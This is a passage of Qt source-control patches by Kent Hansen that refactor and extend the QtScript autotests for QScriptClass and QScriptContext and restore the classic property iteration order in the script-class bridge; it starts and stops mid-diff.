cls.clearReceivedArgs(); { - TestClass cls(&eng); - cls.setCallableMode(TestClass::NotCallable); - QVERIFY(!cls.supportsExtension(QScriptClass::Callable)); - QVERIFY(!cls.supportsExtension(QScriptClass::HasInstance)); - QScriptValue obj = eng.newObject(&cls); - QVERIFY(!obj.call().isValid()); - QCOMPARE((int)cls.lastExtensionType(), -1); - QVERIFY(!obj.instanceOf(obj)); - QCOMPARE((int)cls.lastExtensionType(), -1); - QVERIFY(!obj.construct().isValid()); + QScriptValueList args; + args << QScriptValue(&eng, 4) << QScriptValue(&eng, 5); + QScriptValue ret = obj.call(obj, args); + QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); + QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); + QVERIFY(ret.isNumber()); + QCOMPARE(ret.toNumber(), qsreal(1+2+3+4+5)); } - // Callable + // From JS + cls.clearReceivedArgs(); { - TestClass cls(&eng); - cls.setCallableMode(TestClass::CallableReturnsSum); - QVERIFY(cls.supportsExtension(QScriptClass::Callable)); - - QScriptValue obj = eng.newObject(&cls); - eng.globalObject().setProperty("obj", obj); - obj.setProperty("one", QScriptValue(&eng, 1)); - obj.setProperty("two", QScriptValue(&eng, 2)); - obj.setProperty("three", QScriptValue(&eng, 3)); - // From C++ - cls.clearReceivedArgs(); - { - QScriptValueList args; - args << QScriptValue(&eng, 4) << QScriptValue(&eng, 5); - QScriptValue ret = obj.call(obj, args); - QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); - QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); - QVERIFY(ret.isNumber()); - QCOMPARE(ret.toNumber(), qsreal(15)); - } - // From JS - cls.clearReceivedArgs(); - { - QScriptValue ret = eng.evaluate("obj(4, 5)"); - QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); - QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); - QVERIFY(ret.isNumber()); - QCOMPARE(ret.toNumber(), qsreal(15)); - } + QScriptValue ret = eng.evaluate("obj(4, 5)"); + QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); + QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); + QVERIFY(ret.isNumber()); + QCOMPARE(ret.toNumber(), qsreal(1+2+3+4+5)); + } - cls.setCallableMode(TestClass::CallableReturnsArgument); - // From C++ - cls.clearReceivedArgs(); - { - QScriptValue ret = obj.call(obj, QScriptValueList() << 123); - QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); - QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); - QVERIFY(ret.isNumber()); - QCOMPARE(ret.toInt32(), 123); - } - cls.clearReceivedArgs(); - { - QScriptValue ret = obj.call(obj, QScriptValueList() << true); - QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); - QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); - QVERIFY(ret.isBoolean()); - QCOMPARE(ret.toBoolean(), true); - } - { - QScriptValue ret = obj.call(obj, QScriptValueList() << QString::fromLatin1("ciao")); - QVERIFY(ret.isString()); - QCOMPARE(ret.toString(), QString::fromLatin1("ciao")); - } - { - QScriptValue objobj = eng.newObject(); - QScriptValue ret = obj.call(obj, QScriptValueList() << objobj); - QVERIFY(ret.isObject()); - QVERIFY(ret.strictlyEquals(objobj)); - } - { - QScriptValue ret = obj.call(obj, QScriptValueList() << QScriptValue()); - QVERIFY(ret.isUndefined()); - } - // From JS - cls.clearReceivedArgs(); - { - QScriptValue ret = eng.evaluate("obj(123)"); - QVERIFY(ret.isNumber()); - QCOMPARE(ret.toInt32(), 123); - } + cls.setCallableMode(TestClass::CallableReturnsArgument); + // From C++ + cls.clearReceivedArgs(); + { + QScriptValue ret = obj.call(obj, QScriptValueList() << 123); + QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); + QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); + QVERIFY(ret.isNumber()); + QCOMPARE(ret.toInt32(), 123); + } + cls.clearReceivedArgs(); + { + QScriptValue ret = obj.call(obj, QScriptValueList() << true); + QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); + QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); + QVERIFY(ret.isBoolean()); + QCOMPARE(ret.toBoolean(), true); + } + { + QScriptValue ret = obj.call(obj, QScriptValueList() << QString::fromLatin1("ciao")); + QVERIFY(ret.isString()); + QCOMPARE(ret.toString(), QString::fromLatin1("ciao")); + } + { + QScriptValue objobj = eng.newObject(); + QScriptValue ret = obj.call(obj, QScriptValueList() << objobj); + QVERIFY(ret.isObject()); + QVERIFY(ret.strictlyEquals(objobj)); + } + { + QScriptValue ret = obj.call(obj, QScriptValueList() << QScriptValue()); + QVERIFY(ret.isUndefined()); + } + // From JS + cls.clearReceivedArgs(); + { + QScriptValue ret = eng.evaluate("obj(123)"); + QVERIFY(ret.isNumber()); + QCOMPARE(ret.toInt32(), 123); + } - cls.setCallableMode(TestClass::CallableReturnsInvalidVariant); - { - QScriptValue ret = obj.call(obj); - QVERIFY(ret.isUndefined()); - } + cls.setCallableMode(TestClass::CallableReturnsInvalidVariant); + { + QScriptValue ret = obj.call(obj); + QVERIFY(ret.isUndefined()); + } - cls.setCallableMode(TestClass::CallableReturnsThisObject); - // From C++ - { - QScriptValue ret = obj.call(obj); - QVERIFY(ret.isObject()); - QVERIFY(ret.strictlyEquals(obj)); - } - // From JS - { - QScriptValue ret = eng.evaluate("obj()"); - QVERIFY(ret.isObject()); - QVERIFY(ret.strictlyEquals(eng.globalObject())); - } + cls.setCallableMode(TestClass::CallableReturnsThisObject); + // From C++ + { + QScriptValue ret = obj.call(obj); + QVERIFY(ret.isObject()); + QVERIFY(ret.strictlyEquals(obj)); + } + // From JS + { + QScriptValue ret = eng.evaluate("obj()"); + QVERIFY(ret.isObject()); + QVERIFY(ret.strictlyEquals(eng.globalObject())); + } - cls.setCallableMode(TestClass::CallableReturnsCallee); - // From C++ - { - QScriptValue ret = obj.call(); - QVERIFY(ret.isObject()); - QVERIFY(ret.strictlyEquals(obj)); - } - // From JS - { - QScriptValue ret = eng.evaluate("obj()"); - QVERIFY(ret.isObject()); - QVERIFY(ret.strictlyEquals(obj)); - } + cls.setCallableMode(TestClass::CallableReturnsCallee); + // From C++ + { + QScriptValue ret = obj.call(); + QVERIFY(ret.isObject()); + QVERIFY(ret.strictlyEquals(obj)); + } + // From JS + { + QScriptValue ret = eng.evaluate("obj()"); + QVERIFY(ret.isObject()); + QVERIFY(ret.strictlyEquals(obj)); + } - cls.setCallableMode(TestClass::CallableReturnsArgumentsObject); - // From C++ - { - QScriptValue ret = obj.call(obj, QScriptValueList() << 123); - QVERIFY(ret.isObject()); - QVERIFY(ret.property("length").isNumber()); - QCOMPARE(ret.property("length").toInt32(), 1); - QVERIFY(ret.property(0).isNumber()); - QCOMPARE(ret.property(0).toInt32(), 123); - } - // From JS - { - QScriptValue ret = eng.evaluate("obj(123)"); - QVERIFY(ret.isObject()); - QVERIFY(ret.property("length").isNumber()); - QCOMPARE(ret.property("length").toInt32(), 1); - QVERIFY(ret.property(0).isNumber()); - QCOMPARE(ret.property(0).toInt32(), 123); - } + cls.setCallableMode(TestClass::CallableReturnsArgumentsObject); + // From C++ + { + QScriptValue ret = obj.call(obj, QScriptValueList() << 123); + QVERIFY(ret.isObject()); + QVERIFY(ret.property("length").isNumber()); + QCOMPARE(ret.property("length").toInt32(), 1); + QVERIFY(ret.property(0).isNumber()); + QCOMPARE(ret.property(0).toInt32(), 123); + } + // From JS + { + QScriptValue ret = eng.evaluate("obj(123)"); + QVERIFY(ret.isObject()); + QVERIFY(ret.property("length").isNumber()); + QCOMPARE(ret.property("length").toInt32(), 1); + QVERIFY(ret.property(0).isNumber()); + QCOMPARE(ret.property(0).toInt32(), 123); + } +} - // construct() - // From C++ - cls.clearReceivedArgs(); - cls.setCallableMode(TestClass::CallableReturnsGlobalObject); - { - QScriptValue ret = obj.construct(); - QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); - QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); - QVERIFY(ret.isObject()); - QVERIFY(ret.strictlyEquals(eng.globalObject())); - } - // From JS - cls.clearReceivedArgs(); - { - QScriptValue ret = eng.evaluate("new obj()"); - QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); - QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); - QVERIFY(ret.isObject()); - QVERIFY(ret.strictlyEquals(eng.globalObject())); - } - // From C++ - cls.clearReceivedArgs(); - cls.setCallableMode(TestClass::CallableInitializesThisObject); - { - QScriptValue ret = obj.construct(); - QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); - QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); - QVERIFY(ret.isQObject()); - QCOMPARE(ret.toQObject(), (QObject*)&eng); - } - // From JS - cls.clearReceivedArgs(); - { - QScriptValue ret = eng.evaluate("new obj()"); - QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); - QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); - QVERIFY(ret.isQObject()); - QCOMPARE(ret.toQObject(), (QObject*)&eng); - } +void tst_QScriptClass::extension_Callable_construct() +{ + QScriptEngine eng; + TestClass cls(&eng); + QScriptValue obj = eng.newObject(&cls); + eng.globalObject().setProperty("obj", obj); + + // From C++ + cls.clearReceivedArgs(); + cls.setCallableMode(TestClass::CallableReturnsGlobalObject); + { + QScriptValue ret = obj.construct(); + QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); + QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); + QVERIFY(ret.isObject()); + QVERIFY(ret.strictlyEquals(eng.globalObject())); } - // HasInstance + // From JS + cls.clearReceivedArgs(); { - TestClass cls(&eng); - cls.setHasInstance(true); - QVERIFY(cls.supportsExtension(QScriptClass::HasInstance)); + QScriptValue ret = eng.evaluate("new obj()"); + QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); + QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); + QVERIFY(ret.isObject()); + QVERIFY(ret.strictlyEquals(eng.globalObject())); + } + // From C++ + cls.clearReceivedArgs(); + cls.setCallableMode(TestClass::CallableInitializesThisObject); + { + QScriptValue ret = obj.construct(); + QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); + QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); + QVERIFY(ret.isQObject()); + QCOMPARE(ret.toQObject(), (QObject*)&eng); + } + // From JS + cls.clearReceivedArgs(); + { + QScriptValue ret = eng.evaluate("new obj()"); + QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable); + QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); + QVERIFY(ret.isQObject()); + QCOMPARE(ret.toQObject(), (QObject*)&eng); + } +} + +void tst_QScriptClass::extension_HasInstance() +{ + QScriptEngine eng; + TestClass cls(&eng); + cls.setHasInstance(true); + QVERIFY(cls.supportsExtension(QScriptClass::HasInstance)); - QScriptValue obj = eng.newObject(&cls); - obj.setProperty("foo", QScriptValue(&eng, 123)); - QScriptValue plain = eng.newObject(); - QVERIFY(!plain.instanceOf(obj)); + QScriptValue obj = eng.newObject(&cls); + obj.setProperty("foo", QScriptValue(&eng, 123)); + QScriptValue plain = eng.newObject(); + QVERIFY(!plain.instanceOf(obj)); - eng.globalObject().setProperty("HasInstanceTester", obj); - eng.globalObject().setProperty("hasInstanceValue", plain); - cls.clearReceivedArgs(); - { - QScriptValue ret = eng.evaluate("hasInstanceValue instanceof HasInstanceTester"); - QCOMPARE(cls.lastExtensionType(), QScriptClass::HasInstance); - QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); - QScriptValueList lst = qvariant_cast(cls.lastExtensionArgument()); - QCOMPARE(lst.size(), 2); - QVERIFY(lst.at(0).strictlyEquals(obj)); - QVERIFY(lst.at(1).strictlyEquals(plain)); - QVERIFY(ret.isBoolean()); - QVERIFY(!ret.toBoolean()); - } + eng.globalObject().setProperty("HasInstanceTester", obj); + eng.globalObject().setProperty("hasInstanceValue", plain); + cls.clearReceivedArgs(); + { + QScriptValue ret = eng.evaluate("hasInstanceValue instanceof HasInstanceTester"); + QCOMPARE(cls.lastExtensionType(), QScriptClass::HasInstance); + QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId()); + QScriptValueList lst = qvariant_cast(cls.lastExtensionArgument()); + QCOMPARE(lst.size(), 2); + QVERIFY(lst.at(0).strictlyEquals(obj)); + QVERIFY(lst.at(1).strictlyEquals(plain)); + QVERIFY(ret.isBoolean()); + QVERIFY(!ret.toBoolean()); + } - plain.setProperty("foo", QScriptValue(&eng, 456)); - QVERIFY(!plain.instanceOf(obj)); - { - QScriptValue ret = eng.evaluate("hasInstanceValue instanceof HasInstanceTester"); - QVERIFY(ret.isBoolean()); - QVERIFY(!ret.toBoolean()); - } + plain.setProperty("foo", QScriptValue(&eng, 456)); + QVERIFY(!plain.instanceOf(obj)); + { + QScriptValue ret = eng.evaluate("hasInstanceValue instanceof HasInstanceTester"); + QVERIFY(ret.isBoolean()); + QVERIFY(!ret.toBoolean()); + } - plain.setProperty("foo", obj.property("foo")); - QVERIFY(plain.instanceOf(obj)); - { - QScriptValue ret = eng.evaluate("hasInstanceValue instanceof HasInstanceTester"); - QVERIFY(ret.isBoolean()); - QVERIFY(ret.toBoolean()); - } + plain.setProperty("foo", obj.property("foo")); + QVERIFY(plain.instanceOf(obj)); + { + QScriptValue ret = eng.evaluate("hasInstanceValue instanceof HasInstanceTester"); + QVERIFY(ret.isBoolean()); + QVERIFY(ret.toBoolean()); } } -- cgit v0.12 From 48f8d0cf20f8bcdb35bfc49057ad1fa768e66825 Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Wed, 2 Feb 2011 08:11:32 +0100 Subject: Bring back "classic" iteration order of QScriptClass properties In the old back-end, normal JS properties were iterated before QScriptClass properties. There wasn't any good reason to change that. Now we can get rid of that left-over XFAIL as well. Task-number: QTBUG-16746 Reviewed-by: Jedrzej Nowacki --- src/script/bridge/qscriptclassobject.cpp | 5 ++++- tests/auto/qscriptclass/tst_qscriptclass.cpp | 4 +++- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/src/script/bridge/qscriptclassobject.cpp b/src/script/bridge/qscriptclassobject.cpp index 9285883..2085756 100644 --- a/src/script/bridge/qscriptclassobject.cpp +++ b/src/script/bridge/qscriptclassobject.cpp @@ -183,6 +183,10 @@ void ClassObjectDelegate::getOwnPropertyNames(QScriptObject* object, JSC::ExecSt JSC::PropertyNameArray &propertyNames, JSC::EnumerationMode mode) { + // For compatibility with the old back-end, normal JS properties + // are added first. + QScriptObjectDelegate::getOwnPropertyNames(object, exec, propertyNames, mode); + QScriptEnginePrivate *engine = scriptEngineFromExec(exec); QScript::SaveFrameHelper saveFrame(engine, exec); QScriptValue scriptObject = engine->scriptValueFromJSCValue(object); @@ -195,7 +199,6 @@ void ClassObjectDelegate::getOwnPropertyNames(QScriptObject* object, JSC::ExecSt } delete it; } - QScriptObjectDelegate::getOwnPropertyNames(object, exec, propertyNames, mode); } JSC::CallType ClassObjectDelegate::getCallData(QScriptObject*, JSC::CallData &callData) diff --git a/tests/auto/qscriptclass/tst_qscriptclass.cpp b/tests/auto/qscriptclass/tst_qscriptclass.cpp index 2d6daec..00fdd35 100644 --- a/tests/auto/qscriptclass/tst_qscriptclass.cpp +++ b/tests/auto/qscriptclass/tst_qscriptclass.cpp @@ -823,10 +823,12 @@ void tst_QScriptClass::enumerate() cls.setIterationEnabled(true); QScriptValueIterator it(obj); + // This test relies on the order in which properties are enumerated, + // which we don't guarantee. However, for compatibility's sake we prefer + // that normal JS properties come before QScriptClass properties. for (int x = 0; x < 2; ++x) { QVERIFY(it.hasNext()); it.next(); - QEXPECT_FAIL("", "", Abort); QVERIFY(it.scriptName() == foo); QVERIFY(it.hasNext()); it.next(); -- cgit v0.12 From a7027e7ecc0bfc97030110105436fd5406256108 Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Wed, 2 Feb 2011 08:28:59 +0100 Subject: Improve QScriptClass test coverage Add tests for various kinds of property access from JS. Add tests for null-engine & using the same script class in two different engines. Task-number: QTBUG-16746 Reviewed-by: Jedrzej Nowacki --- tests/auto/qscriptclass/tst_qscriptclass.cpp | 149 ++++++++++++++++++++++++++- 1 file changed, 148 insertions(+), 1 deletion(-) diff --git a/tests/auto/qscriptclass/tst_qscriptclass.cpp b/tests/auto/qscriptclass/tst_qscriptclass.cpp index 00fdd35..5286a5a 100644 --- a/tests/auto/qscriptclass/tst_qscriptclass.cpp +++ b/tests/auto/qscriptclass/tst_qscriptclass.cpp @@ -68,6 +68,10 @@ private slots: void setScriptClassOfExistingObject(); void setScriptClassOfNonQtScriptObject(); void getAndSetPropertyFromCpp(); + void getAndSetPropertyFromJS(); + void deleteUndeletableProperty(); + void writeReadOnlyProperty(); + void writePropertyWithoutWriteAccess(); void getProperty_invalidValue(); void enumerate(); void extension_None(); @@ -79,6 +83,9 @@ private slots: void originalProperties3(); void originalProperties4(); void defaultImplementations(); + void scriptClassObjectInPrototype(); + void scriptClassWithNullEngine(); + void scriptClassInOtherEngine(); }; tst_QScriptClass::tst_QScriptClass() @@ -311,7 +318,12 @@ void TestClass::setProperty(QScriptValue &object, const QScriptString &name, CustomProperty *prop = findCustomProperty(name); if (!prop) return; - prop->value = value; + if (prop->pflags & QScriptValue::ReadOnly) + return; + if (!value.isValid()) // deleteProperty() requested + removeCustomProperty(name); + else + prop->value = value; } QScriptValue::PropertyFlags TestClass::propertyFlags( @@ -774,6 +786,80 @@ void tst_QScriptClass::getAndSetPropertyFromCpp() QVERIFY(!obj1.property(bar).isValid()); } +void tst_QScriptClass::getAndSetPropertyFromJS() +{ + QScriptEngine eng; + TestClass cls(&eng); + cls.addCustomProperty(eng.toStringHandle("x"), + QScriptClass::HandlesReadAccess + | QScriptClass::HandlesWriteAccess, + /*id=*/1, /*flags=*/0, /*value=*/123); + eng.globalObject().setProperty("o", eng.newObject(&cls)); + + // Accessing a custom property + QCOMPARE(eng.evaluate("o.x").toInt32(), 123); + QCOMPARE(eng.evaluate("o.x = 456; o.x").toInt32(), 456); + + // Accessing a new JS property + QVERIFY(eng.evaluate("o.y").isUndefined()); + QCOMPARE(eng.evaluate("o.y = 789; o.y").toInt32(), 789); + + // Deleting custom property + QVERIFY(eng.evaluate("delete o.x").toBool()); + QVERIFY(eng.evaluate("o.x").isUndefined()); + + // Deleting JS property + QVERIFY(eng.evaluate("delete o.y").toBool()); + QVERIFY(eng.evaluate("o.y").isUndefined()); +} + +void tst_QScriptClass::deleteUndeletableProperty() +{ + QScriptEngine eng; + TestClass cls(&eng); + cls.addCustomProperty(eng.toStringHandle("x"), QScriptClass::HandlesWriteAccess, + /*id=*/0, QScriptValue::Undeletable, QScriptValue()); + eng.globalObject().setProperty("o", eng.newObject(&cls)); + QVERIFY(!eng.evaluate("delete o.x").toBool()); +} + +void tst_QScriptClass::writeReadOnlyProperty() +{ + QScriptEngine eng; + TestClass cls(&eng); + cls.addCustomProperty(eng.toStringHandle("x"), + QScriptClass::HandlesReadAccess + | QScriptClass::HandlesWriteAccess, + /*id=*/0, QScriptValue::ReadOnly, 123); + eng.globalObject().setProperty("o", eng.newObject(&cls)); + // Note that if a property is read-only, the setProperty() + // reimplementation will still get called; it's up to that + // function to respect the ReadOnly flag. + QCOMPARE(eng.evaluate("o.x = 456; o.x").toInt32(), 123); +} + +void tst_QScriptClass::writePropertyWithoutWriteAccess() +{ + QScriptEngine eng; + TestClass cls(&eng); + cls.addCustomProperty(eng.toStringHandle("x"), + QScriptClass::HandlesReadAccess, + /*id=*/0, /*flags=*/0, 123); + eng.globalObject().setProperty("o", eng.newObject(&cls)); + QCOMPARE(eng.evaluate("o.x").toInt32(), 123); + + // This will create a JS property on the instance that + // shadows the custom property. + // This behavior is not documented. It might be more + // intuitive to treat a property that only handles read + // access as a read-only, non-shadowable property. + QCOMPARE(eng.evaluate("o.x = 456; o.x").toInt32(), 456); + + QVERIFY(eng.evaluate("delete o.x").toBool()); + // Now the custom property is seen again. + QCOMPARE(eng.evaluate("o.x").toInt32(), 123); +} + void tst_QScriptClass::getProperty_invalidValue() { QScriptEngine eng; @@ -1352,5 +1438,66 @@ void tst_QScriptClass::defaultImplementations() QVERIFY(!defaultClass.extension(QScriptClass::HasInstance).isValid()); } +void tst_QScriptClass::scriptClassObjectInPrototype() +{ + QScriptEngine eng; + TestClass cls(&eng); + QScriptValue plainObject = eng.newObject(); + QScriptValue classObject = eng.newObject(&cls); + plainObject.setPrototype(classObject); + QVERIFY(plainObject.prototype().equals(classObject)); + eng.globalObject().setProperty("plainObject", plainObject); + eng.globalObject().setProperty("classObject", classObject); + + QScriptString name = eng.toStringHandle("x"); + cls.addCustomProperty(name, QScriptClass::HandlesReadAccess, /*id=*/1, /*flags=*/0, /*value=*/123); + QVERIFY(plainObject.property(name).equals(classObject.property(name))); + QVERIFY(eng.evaluate("plainObject.x == classObject.x").toBool()); + + // Add a property that shadows the one in the script class. + plainObject.setProperty(name, 456); + QVERIFY(!plainObject.property(name).equals(classObject.property(name))); + QVERIFY(eng.evaluate("plainObject.x != classObject.x").toBool()); + + QVERIFY(eng.evaluate("delete plainObject.x").toBool()); + QVERIFY(eng.evaluate("plainObject.x == classObject.x").toBool()); +} + +void tst_QScriptClass::scriptClassWithNullEngine() +{ + QScriptClass cls(0); + QCOMPARE(cls.engine(), (QScriptEngine*)0); + QScriptEngine eng; + QScriptValue obj = eng.newObject(&cls); + QVERIFY(obj.isObject()); + QCOMPARE(obj.scriptClass(), &cls); + // The class could have been "bound" to the engine at this point, + // but it's currently not. + // This behavior is not documented and is subject to change. + QCOMPARE(cls.engine(), (QScriptEngine*)0); + // The engine pointer stored in the QScriptClass is not actually used + // during property access, so this still works. + obj.setProperty("x", 123); + QVERIFY(obj.property("x").isNumber()); +} + +void tst_QScriptClass::scriptClassInOtherEngine() +{ + QScriptEngine eng; + TestClass cls(&eng); + QScriptEngine eng2; + // We don't check that the class is associated with another engine, so + // we only get a warning when trying to set the prototype of the new + // instance. + // This behavior is not documented and is subject to change. + QTest::ignoreMessage(QtWarningMsg, "QScriptValue::setPrototype() failed: cannot set a prototype created in a different engine"); + QScriptValue obj = eng2.newObject(&cls); + QVERIFY(obj.isObject()); + QCOMPARE(obj.scriptClass(), &cls); + + obj.setProperty("x", 123); + QVERIFY(obj.property("x").isNumber()); +} + QTEST_MAIN(tst_QScriptClass) #include "tst_qscriptclass.moc" -- cgit v0.12 From 74c91e9f6de56728de5472b9d7c2372e480f37b3 Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Wed, 2 Feb 2011 10:29:22 +0100 Subject: Split QScriptContext autotest into smaller functions Task-number: QTBUG-16746 Reviewed-by: Jedrzej Nowacki --- tests/auto/qscriptcontext/tst_qscriptcontext.cpp | 330 +++++++++++++---------- 1 file changed, 194 insertions(+), 136 deletions(-) diff --git a/tests/auto/qscriptcontext/tst_qscriptcontext.cpp b/tests/auto/qscriptcontext/tst_qscriptcontext.cpp index cb6311e..eee67df 100644 --- a/tests/auto/qscriptcontext/tst_qscriptcontext.cpp +++ b/tests/auto/qscriptcontext/tst_qscriptcontext.cpp @@ -66,7 +66,9 @@ public: private slots: void callee(); + void callee_implicitCall(); void arguments(); + void argumentsInJS(); void thisObject(); void returnValue(); void throwError_data(); @@ -77,16 +79,24 @@ private slots: void throwValue(); void evaluateInFunction(); void pushAndPopContext(); + void pushAndPopContext_variablesInActivation(); + void pushAndPopContext_setThisObject(); + void pushAndPopContext_throwException(); void lineNumber(); void backtrace_data(); void backtrace(); - void scopeChain(); - void pushAndPopScope(); - void getSetActivationObject(); + void scopeChain_globalContext(); + void scopeChain_closure(); + void scopeChain_withStatement(); + void pushAndPopScope_globalContext(); + void pushAndPopScope_globalContext2(); + void getSetActivationObject_globalContext(); void getSetActivationObject_customContext(); void inheritActivationAndThisObject(); void toString(); - void calledAsConstructor(); + void calledAsConstructor_fromCpp(); + void calledAsConstructor_fromJS(); + void calledAsConstructor_parentContext(); void argumentsObjectInNative(); void jsActivationObject(); void qobjectAsActivationObject(); @@ -121,33 +131,33 @@ void tst_QScriptContext::callee() { QScriptEngine eng; - { - QScriptValue fun = eng.newFunction(get_callee); - fun.setProperty("foo", QScriptValue(&eng, "bar")); - eng.globalObject().setProperty("get_callee", fun); + QScriptValue fun = eng.newFunction(get_callee); + fun.setProperty("foo", QScriptValue(&eng, "bar")); + eng.globalObject().setProperty("get_callee", fun); - QScriptValue result = eng.evaluate("get_callee()"); - QCOMPARE(result.isFunction(), true); - QCOMPARE(result.property("foo").toString(), QString("bar")); - } + QScriptValue result = eng.evaluate("get_callee()"); + QCOMPARE(result.isFunction(), true); + QCOMPARE(result.property("foo").toString(), QString("bar")); +} +void tst_QScriptContext::callee_implicitCall() +{ + QScriptEngine eng; // callee when toPrimitive() is called internally - { - QScriptValue fun = eng.newFunction(store_callee_and_return_primitive); - QScriptValue obj = eng.newObject(); - obj.setProperty("toString", fun); - QVERIFY(!obj.property("callee").isValid()); - (void)obj.toString(); - QVERIFY(obj.property("callee").isFunction()); - QVERIFY(obj.property("callee").strictlyEquals(fun)); - - obj.setProperty("callee", QScriptValue()); - QVERIFY(!obj.property("callee").isValid()); - obj.setProperty("valueOf", fun); - (void)obj.toNumber(); - QVERIFY(obj.property("callee").isFunction()); - QVERIFY(obj.property("callee").strictlyEquals(fun)); - } + QScriptValue fun = eng.newFunction(store_callee_and_return_primitive); + QScriptValue obj = eng.newObject(); + obj.setProperty("toString", fun); + QVERIFY(!obj.property("callee").isValid()); + (void)obj.toString(); + QVERIFY(obj.property("callee").isFunction()); + QVERIFY(obj.property("callee").strictlyEquals(fun)); + + obj.setProperty("callee", QScriptValue()); + QVERIFY(!obj.property("callee").isValid()); + obj.setProperty("valueOf", fun); + (void)obj.toNumber(); + QVERIFY(obj.property("callee").isFunction()); + QVERIFY(obj.property("callee").strictlyEquals(fun)); } static QScriptValue get_arguments(QScriptContext *ctx, QScriptEngine *eng) @@ -167,6 +177,8 @@ void tst_QScriptContext::arguments() { QScriptEngine eng; + // See section 10.6 ("Arguments Object") of ECMA-262. + { QScriptValue args = eng.currentContext()->argumentsObject(); QVERIFY(args.isObject()); @@ -178,6 +190,8 @@ void tst_QScriptContext::arguments() } for (int x = 0; x < 2; ++x) { + // The expected arguments array should be the same regardless of + // whether get_arguments() is called as a constructor. QString prefix; if (x == 0) prefix = ""; @@ -224,11 +238,15 @@ void tst_QScriptContext::arguments() QCOMPARE(result.propertyFlags("length"), QScriptValue::SkipInEnumeration); QCOMPARE(result.property("callee").strictlyEquals(fun), true); QCOMPARE(result.propertyFlags("callee"), QScriptValue::SkipInEnumeration); + + // callee and length properties should be writable. QScriptValue replacedCallee(&eng, 123); result.setProperty("callee", replacedCallee); QVERIFY(result.property("callee").equals(replacedCallee)); QScriptValue replacedLength(&eng, 456); result.setProperty("length", replacedLength); + + // callee and length properties should be deletable. QVERIFY(result.property("length").equals(replacedLength)); result.setProperty("callee", QScriptValue()); QVERIFY(!result.property("callee").isValid()); @@ -262,28 +280,31 @@ void tst_QScriptContext::arguments() QCOMPARE(result.property("2").toBoolean(), true); QCOMPARE(result.property("3").isUndefined(), true); } + } +} - // arguments object returned from script - { - QScriptValue result = eng.evaluate("(function() { return arguments; })(123)"); - QCOMPARE(result.isArray(), false); - QVERIFY(result.isObject()); - QCOMPARE(result.property("length").toUInt32(), quint32(1)); - QCOMPARE(result.property("0").isNumber(), true); - QCOMPARE(result.property("0").toNumber(), 123.0); - } +void tst_QScriptContext::argumentsInJS() +{ + QScriptEngine eng; + { + QScriptValue result = eng.evaluate("(function() { return arguments; })(123)"); + QCOMPARE(result.isArray(), false); + QVERIFY(result.isObject()); + QCOMPARE(result.property("length").toUInt32(), quint32(1)); + QCOMPARE(result.property("0").isNumber(), true); + QCOMPARE(result.property("0").toNumber(), 123.0); + } - { - QScriptValue result = eng.evaluate("(function() { return arguments; })('ciao', null, true, undefined)"); - QCOMPARE(result.isArray(), false); - QCOMPARE(result.property("length").toUInt32(), quint32(4)); - QCOMPARE(result.property("0").isString(), true); - QCOMPARE(result.property("0").toString(), QString("ciao")); - QCOMPARE(result.property("1").isNull(), true); - QCOMPARE(result.property("2").isBoolean(), true); - QCOMPARE(result.property("2").toBoolean(), true); - QCOMPARE(result.property("3").isUndefined(), true); - } + { + QScriptValue result = eng.evaluate("(function() { return arguments; })('ciao', null, true, undefined)"); + QCOMPARE(result.isArray(), false); + QCOMPARE(result.property("length").toUInt32(), quint32(4)); + QCOMPARE(result.property("0").isString(), true); + QCOMPARE(result.property("0").toString(), QString("ciao")); + QCOMPARE(result.property("1").isNull(), true); + QCOMPARE(result.property("2").isBoolean(), true); + QCOMPARE(result.property("2").toBoolean(), true); + QCOMPARE(result.property("3").isUndefined(), true); } } @@ -517,58 +538,65 @@ void tst_QScriptContext::pushAndPopContext() QTest::ignoreMessage(QtWarningMsg, "QScriptEngine::popContext() doesn't match with pushContext()"); eng.popContext(); QCOMPARE(eng.currentContext(), topLevel); +} - { - QScriptContext *ctx3 = eng.pushContext(); - ctx3->activationObject().setProperty("foo", QScriptValue(&eng, 123)); - QVERIFY(eng.evaluate("foo").strictlyEquals(QScriptValue(&eng, 123))); - QCOMPARE(ctx3->activationObject().propertyFlags("foo"), QScriptValue::PropertyFlags(0)); - - ctx3->activationObject().setProperty(4, 456); - QVERIFY(ctx3->activationObject().property(4, QScriptValue::ResolveLocal).equals(456)); - - eng.evaluate("var bar = 'ciao'"); - 